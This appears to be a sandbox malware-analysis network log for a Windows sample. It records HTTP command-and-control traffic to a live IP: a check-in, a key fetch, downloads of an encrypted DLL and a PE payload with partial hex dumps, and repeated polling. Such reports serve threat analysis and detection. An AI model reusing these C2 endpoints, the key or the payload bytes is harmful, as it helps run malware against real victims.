Dec 13, 2024 08:36:35.963628054 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.963684082 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.963749886 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.963807106 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.964468956 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.964520931 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.964622974 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.964672089 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.965514898 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.965572119 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.965609074 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.965652943 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.966310024 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.966324091 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.966367960 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:36.049791098 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:36.049849987 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:36.049946070 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:36.049993038 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:36.050295115 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:36.050307035 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:36.050338030 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:36.050352097 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:36.051114082 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:36.051223040 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:36.051248074 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:36.051259041 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:36.052166939 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:36.052213907 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:36.115096092 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:36.115166903 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:36.115178108 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:36.115225077 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:36.115395069 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:36.115456104 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:36.115535975 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:36.115583897 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:36.116242886 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:36.116439104 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:38.738873005 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:38.738940954 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:58.038837910 CET	49772	80	192.168.2.4	80.82.65.70

HTTP Request Dependency Graph

80.82.65.70

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49736	80.82.65.70	80	7324	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:35:55.353899002 CET	412	OUT	GET /add?substr=mixtwo&s=three&sub=emp HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 1 Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 13, 2024 08:35:56.728916883 CET	204	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 07:35:56 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 13, 2024 08:35:56.743645906 CET	386	OUT	GET /dll/key HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 1 Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 13, 2024 08:35:57.217278957 CET	224	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 07:35:56 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 21 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 39 74 4b 69 4b 33 62 73 59 6d 34 66 4d 75 4b 34 37 50 6b 33 73 Data Ascii: 9tKiK3bsYm4fMuK47Pk3s
Dec 13, 2024 08:35:57.228630066 CET	391	OUT	GET /dll/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 1 Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 13, 2024 08:35:57.802604914 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 07:35:57 GMT Server: Apache/2.4.58 (Ubuntu) Content-Disposition: attachment; filename="fuckingdllENCR.dll"; Content-Length: 97296 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: application/octet-stream Data Raw: 58 4d 20 a9 34 49 68 99 fe 5d 0a b3 eb 74 b6 26 d0 73 db 11 cf 76 c9 30 7b 06 76 1e 76 73 27 c0 ad eb 3a aa 6c ec 68 b4 13 95 65 19 c0 04 a4 9f 52 d6 da b1 8e f9 31 83 b8 06 72 fc 52 2b 46 6b 2a f7 94 87 96 7e f9 73 f3 a2 8e 06 fa 0b c3 51 a1 b1 0b 1e e4 72 c9 54 ac 62 d5 ed 06 c7 96 dd b1 7e 63 b2 8d 5b 1d 87 0b cf 81 a3 a5 ba ba 3b a3 fc ff 6a ac 40 e8 30 b2 25 84 88 f9 dd 19 78 dd e8 c7 76 cb 77 fb f0 2e a7 1d 3c 72 75 0a 1c 17 d3 59 72 65 3b f4 62 36 1d 14 b2 48 51 2d d4 ec ba cd 38 bf 42 b3 9b 51 82 61 a1 c0 c6 52 bc 3a cc 68 26 72 90 a0 a6 17 be fc 07 3d a2 3b 72 1e 6b e2 0b 54 e2 40 e0 ea b9 d0 e1 6c 8b cf 3b 23 fd 94 33 21 e6 4f b4 00 78 da 7d a1 13 e8 b9 03 f4 00 bb ce 79 27 3c 0a 47 66 51 90 4b af 23 d8 4c 35 76 10 1e 5d d4 b3 01 f6 db 8a 1e 18 de 64 f3 a6 e9 b9 b8 cb fe 4e 7b 65 a0 c7 bc 40 05 fa f3 1e a1 c2 e7 7f 08 cd ec 7f e9 a4 1b b2 f5 41 5c 8e 11 3c bc 74 f3 75 ed 58 15 4f ef 6e c5 e9 5a 89 8e 20 86 58 62 b1 4f 3c 84 2a 5a a5 a4 cf 68 7e 9b 28 b1 57 99 66 af 7a 0d 56 cb 34 09 db 4c [TRUNCATED] Data Ascii: XM 4Ih]t&sv0{vvs':lheR1rR+Fk~sQrTb~c[;j@0%xvw.<ruYre;b6HQ-8BQaR:h&r=;rkT@l;#3!Ox}y'<GfQK#L5v]dN{e@A\<tuXOnZ XbO<Zh~(WfzV4L%50H`syB(IL5s:aS}XM9Jo)'M;n6]Wn)L_e>[RA.'6N.g6IY%h 3r^\b~y/h2ZLku}V<fbD<!_2zoIEPOuPw#6N&lR}GILYNyzjHy'_5Pd9y+6q)GcL#5\M5U])U(~HmYG1r4BhP]iM%)q.]~\|jbK!N7R}T2bsq1L^!\|qD'sLnD@bn%0=bQ1+lQXO\|NC.d{08F<Wy{oj3n4eS] KoBH~sh1m86{lsRq~w_;X*#U
Dec 13, 2024 08:35:57.802695036 CET	1236	IN	Data Raw: 98 ce 36 6e 99 4f 44 62 54 a0 2b 5a 63 96 17 1c 8e 71 d6 10 c5 90 ce 53 f1 24 2d 53 60 59 54 cc 01 e7 c4 70 93 60 32 41 18 ce 0d 55 c7 24 07 69 64 06 3a b3 b0 e0 76 6e 84 3b d8 aa e7 9e f0 d5 ee 45 9c b1 50 a7 0a df 3f 11 c8 6e 7d 41 c9 76 d2 0f Data Ascii: 6nODbT+ZcqS$-S`YTp`2AU$id:vn;EP?n}AvLwU\|}"Gi9ZIxw.sY-KnP2oWci#2kgDZ6~,o9"opx(uccgv@M)nL
Dec 13, 2024 08:35:57.802711964 CET	1236	IN	Data Raw: 44 70 21 ac fa dd 10 12 6c 8f df 8d 2a 52 37 0a bc 2b 32 e0 ca d2 85 4a 5e 2a bb 89 27 6f b7 ed ec 11 16 da 35 88 e8 c7 a0 fb 57 12 bc ee 7b 8e 20 56 98 d0 5f d5 fa 6e b8 a6 bb 07 ab 54 57 ec 21 3a 2e 06 6d 3f c9 25 6c 63 ce e7 5a 5e c2 32 24 bd Data Ascii: Dp!lR7+2J^'o5W{ V_nTW!:.m?%lcZ^2$2[#LeCe+: rUz(-dFI?[VH0-!{</Bge!ygJZ=XwPMeh5]Bki'\L4u
Dec 13, 2024 08:35:57.802726984 CET	1236	IN	Data Raw: 42 47 80 86 ae 70 77 dd c9 a4 43 ea 79 cc 36 24 d5 a0 a8 68 e2 19 03 24 ed 93 0c db 15 78 2a 88 5a 7c 59 51 fe c6 7c 01 35 8f e1 23 99 84 04 00 e3 d2 e6 6e e4 8f 85 26 21 77 40 81 44 b6 9f 1d 75 1d 8d 68 73 3a 7c 42 46 c1 18 9b 47 fd 90 63 33 b4 Data Ascii: BGpwCy6$h$xZ\|YQ\|5#n&!w@Duhs:\|BFGc3_^MH_FJn-U,e?lzR3Ib=nuH_x}q^6vP2'\:)j!gJH:yA".E<tj)>N]
Dec 13, 2024 08:35:57.802742004 CET	1236	IN	Data Raw: 65 3b 47 31 40 6c 58 a4 f2 72 e0 62 45 fe 13 75 f3 bf 71 98 82 ed 0b 91 d9 fa 6f fb bb 0c b6 96 17 6c 50 87 9d 6a f0 e3 e5 e5 17 2f 04 e1 78 4b 7b ec a4 0a 66 3a c7 1b de e3 06 f4 33 94 a4 66 e3 66 11 87 2a 50 e7 5f f0 a7 8b 90 b0 e7 20 a1 56 ea Data Ascii: e;G1@lXrbEuqolPj/xK{f:3ff*P_ VufJJh2~Uz=;6DmjDX,t3{etiOaB?hcMT#iHyKg7`Cx6'JgYOL(>@2O0inol%t-9'
Dec 13, 2024 08:35:57.802757025 CET	1236	IN	Data Raw: 18 fc a2 90 2b 67 71 38 68 4e e5 23 79 cf 33 c9 7b 68 89 24 07 d9 65 9b c2 05 5b 73 79 a0 fa 5d 0b 18 e7 03 da 3c 02 9a eb 59 06 94 8c a5 f8 69 3f f6 01 62 ec cb f9 de 45 fa 09 83 a3 f7 21 af d3 6f d5 a4 26 c7 c1 ee 10 d1 cd 23 d9 b7 3d bf ce a7 Data Ascii: +gq8hN#y3{h$e[sy]<Yi?bE!o&#=fmCALA-0BiwXV-+[X>Og{:i{It_v50#xa=cWBd/QFI6N' 3F$R/3Oqt]uqp3GU@(
Dec 13, 2024 08:35:57.802772999 CET	1236	IN	Data Raw: 86 d0 0e 0e f5 2b 0b f5 8d f7 79 40 71 81 e1 45 02 36 97 09 61 9b 5f dc b2 b1 d0 95 a0 5d 70 7b 40 b1 c5 76 fa 38 88 2f 7c 5a a9 00 9d 47 93 df 14 da 54 c6 55 b5 fc 8e fd 29 bf 7f d9 f7 52 82 c1 5f b3 a1 7d bb 48 e0 29 38 0d 63 13 83 b6 e2 b0 e0 Data Ascii: +y@qE6a_]p{@v8/\|ZGTU)R_}H)8c'ATd10?lg;&jg8KnWwD0a_r+42}20.u~Q$z2i@=sdkO8m(pC
Dec 13, 2024 08:35:57.802891016 CET	1236	IN	Data Raw: c3 9c 69 5d eb 54 db 81 bb 6b 66 5e ab f4 9b 3d ee ff 1b d1 4b 71 18 e1 6e 42 a8 ab 9c 98 14 85 99 99 0e a1 66 a6 1c 27 bd 4a b3 a3 d4 cf 6b 2b dc 89 26 b7 59 fe 26 0d 72 54 62 f2 c9 80 5f 45 0d 82 64 28 85 e9 69 0d 69 77 dd df e1 4d 16 de d3 9a Data Ascii: i]Tkf^=KqnBf'Jk+&Y&rTb_Ed(iiwM3mo.m4moNm09k-:zTzxGc\|Ub<\|Y>. Tu#f-UM!+g@!4<fG7IkEl
Dec 13, 2024 08:35:57.810942888 CET	1236	IN	Data Raw: bf 33 41 12 5b 52 91 a7 94 e0 e5 21 5d 8d 93 1b 30 af be 5e 8f 7b 94 24 bc 87 3d 50 74 38 00 cd a5 7b 35 ab 90 44 11 e5 40 7a 29 92 1d b3 4a 52 10 d4 8d 43 b3 ff 3c 6b 20 35 4a e1 86 bc f7 99 68 67 d7 c4 fb c8 a1 b9 38 b1 27 61 b3 3c e2 f9 cc 06 Data Ascii: 3A[R!]0^{$=Pt8{5D@z)JRC<k 5Jhg8'a<dIC2ui$wtHLnc}QJ4;[r\|^%<t5S[AIa+48*xs30SxNZCPH3U"~6GxeZE3 SZF&=Qt`d^u
Dec 13, 2024 08:35:57.811008930 CET	1236	IN	Data Raw: c8 a2 6d 52 66 a8 66 51 d1 c3 c9 87 9b d8 0b 44 57 eb 08 d8 cd bc b7 be b7 f1 4b 89 c0 b1 44 55 84 bc 8d 8d 36 2c c3 07 89 a5 46 50 8a ac fe f3 ba 23 4d 4f e4 0f 27 9f e1 11 07 f4 e0 e7 17 61 0e 07 54 3f cc 3f ae 3a 77 4d e4 44 61 15 b1 b3 97 25 Data Ascii: mRffQDWKDU6,FP#MO'aT??:wMDa%k;3?Bc\| yp`yzlSniVN(Bv}:XsOf.~zToX8n K$:D6Z%NNng=t+L~6DtFX[a/[
Dec 13, 2024 08:35:57.819436073 CET	1236	IN	Data Raw: d3 59 d3 30 18 53 4e 25 dc 9e 95 b9 da a6 3e 71 c0 45 79 32 7a f2 9f 43 ae e4 0b 25 8a bf 44 da e3 4d 77 72 50 8f 9d 18 42 0f 58 f1 b2 46 1d e6 97 70 c7 39 3b b2 a3 64 90 74 04 57 77 50 fc 49 1c ac 46 a7 37 5f 66 b7 fd b1 37 84 39 3f 7b d6 9b 57 Data Ascii: Y0SN%>qEy2zC%DMwrPBXFp9;dtWwPIF7_f79?{WdA_9qH1^S-;0_lc%.I5[j-(HK&c?EUXTVnMXyU47=`L4^9\7am:i`v{]
Dec 13, 2024 08:35:58.417710066 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 13, 2024 08:35:58.905780077 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 07:35:58 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 13, 2024 08:36:00.943149090 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 13, 2024 08:36:01.433620930 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 07:36:01 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 13, 2024 08:36:03.459718943 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 13, 2024 08:36:03.980022907 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 07:36:03 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 13, 2024 08:36:06.007148981 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 13, 2024 08:36:06.491027117 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 07:36:06 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=94 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 13, 2024 08:36:08.521539927 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 13, 2024 08:36:09.011677027 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 07:36:08 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 13, 2024 08:36:11.037185907 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 13, 2024 08:36:11.525727034 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 07:36:11 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 13, 2024 08:36:13.553316116 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 13, 2024 08:36:14.085191011 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 07:36:13 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 13, 2024 08:36:16.115699053 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 13, 2024 08:36:16.612184048 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 07:36:16 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 13, 2024 08:36:18.647279024 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 13, 2024 08:36:19.137053967 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 07:36:18 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49744	80.82.65.70	80	7324	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:36:21.283587933 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 13, 2024 08:36:22.623142004 CET	204	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 07:36:22 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49755	80.82.65.70	80	7324	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:36:24.768309116 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 13, 2024 08:36:26.105125904 CET	204	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 07:36:25 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49766	80.82.65.70	80	7324	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:36:29.301923037 CET	392	OUT	GET /soft/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: d Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 13, 2024 08:36:30.791419983 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 07:36:30 GMT Server: Apache/2.4.58 (Ubuntu) Content-Disposition: attachment; filename="dll"; Content-Length: 242176 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/octet-stream Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 4a 6c ef 58 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0b 00 00 a8 03 00 00 08 00 00 00 00 00 00 2e c6 03 00 00 20 00 00 00 e0 03 00 00 00 00 10 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 20 04 00 00 02 00 00 00 00 00 00 03 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 d4 c5 03 00 57 00 00 00 00 e0 03 00 10 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELJlX!. @W H.text4 `.rsrc@@.reloc@BH`4eU}Yy={Xx=rpo2o(3o2}:s(2rp(;&Vrprp(>}(Co(D(E}(F(E(G&>}(Co(D}(F(E(H&">}R} { oo{ "}!{!}{#{op{,{ oo{!oo{*Bsu
Dec 13, 2024 08:36:30.791452885 CET	1236	IN	Data Raw: 00 00 0a 28 76 00 00 0a 2a 8a 02 7b 23 00 00 04 02 7b 23 00 00 04 6f 77 00 00 0a 02 6f 78 00 00 0a 28 2b 00 00 06 6f 79 00 00 0a 2a a6 02 7b 1f 00 00 04 2c 0e 02 02 7b 20 00 00 04 6f 6f 00 00 0a 2b 0c 02 02 7b 21 00 00 04 6f 6f 00 00 0a 02 28 32 Data Ascii: (v{#{#owox(+oy{,{ oo+{!oo(2z,{",{"o/(z((X[((X[((X[(q~(-(-(*~to(3to^(
Dec 13, 2024 08:36:30.791465044 CET	1236	IN	Data Raw: 0a 2a 1e 02 7b 52 00 00 04 2a 32 02 7b 63 00 00 04 6f f2 00 00 0a 2a 52 02 03 7d 55 00 00 04 02 7b 63 00 00 04 03 6f 6f 00 00 0a 2a 1e 02 7b 51 00 00 04 2a 22 02 03 7d 51 00 00 04 2a 32 02 7b 63 00 00 04 6f 77 00 00 0a 2a 7e 02 7b 63 00 00 04 03 Data Ascii: {R2{coR}U{coo{Q"}Q2{cow~{coy}]so2{cosN{cop(2{dosN{dop({VR}Vs({WR}Ws(F{cot
Dec 13, 2024 08:36:30.791565895 CET	1236	IN	Data Raw: 02 03 7d 71 00 00 04 2a 1e 02 7b 72 00 00 04 2a 22 02 03 7d 72 00 00 04 2a 1e 02 28 30 01 00 0a 2a 1e 02 7b 73 00 00 04 2a 22 02 03 7d 73 00 00 04 2a 1e 02 7b 74 00 00 04 2a 22 02 03 7d 74 00 00 04 2a 1e 02 7b 75 00 00 04 2a 22 02 03 7d 75 00 00 Data Ascii: }q{r"}r(0{s"}s{t"}t{u"}uN((((z,{v,{vo/((5"}xN{o9o<&{\|f}\|{{\|o2{o?*{o9(
